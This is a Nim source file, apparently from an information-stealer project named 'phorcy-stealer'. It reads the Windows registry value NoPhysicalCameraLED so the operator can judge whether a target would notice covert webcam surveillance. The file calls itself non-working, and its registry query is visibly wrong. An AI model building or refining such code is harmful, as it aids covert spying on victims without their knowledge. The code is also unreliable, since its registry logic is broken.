Files
phorcy-stealer/elinethingz/mic_reg.nim
2023-11-26 03:18:48 +01:00

48 lines
1.5 KiB
Nim

# ____ _____ ____ ____ _____ _____
# / ___|| ____/ ___| _ \| ____|_ _|
# \___ \| _|| | | |_) | _| | |
# ___) | |__| |___| _ <| |___ | |
# |____/|_____\____|_| \_\_____| |_|
import winim
# Checks the status of the Windows "Privacy Bubbles" to know if target device has the Windows camera LED enabled.
# however, it should be noted that most PC/laptop manufacturers include a hardwired LED that cannot be disabled.
# therefore, this program does not guarantee that the user will not know about the observation.
# DOES NOT WORK.
const
KEY_QUERY_VALUE = 0x0001
HKEY_HANDLE = 0x80000002
proc checkRegistryEntry(): bool =
var hKey: HKEY
var value: DWORD
var dataSize: DWORD = sizeof(DWORD)
if RegOpenKeyEx(HKEY_HANDLE, "SOFTWARE\\Microsoft\\OEM\\Device\\Capture", 0, KEY_QUERY_VALUE, addr hKey) != ERROR_SUCCESS:
echo "Error opening registry key. Error code:", GetLastError()
return false
if RegGetValueA(HKEY_HANDLE, "NoPhysicalCameraLED", nil, nil, cast(LPBYTE, addr value), addr dataSize) != ERROR_SUCCESS:
echo "Error querying registry value. Error code:", GetLastError()
# Close the registry key even if querying failed
RegCloseKey(hKey)
return false
# Close the registry key if everything is successful
RegCloseKey(hKey)
echo "NoPhysicalCameraLED value:", value
return value == 0x1
# Example usage
if checkRegistryEntry():
echo "NoPhysicalCameraLED is set to 0x1."
else:
echo "NoPhysicalCameraLED is not set to 0x1."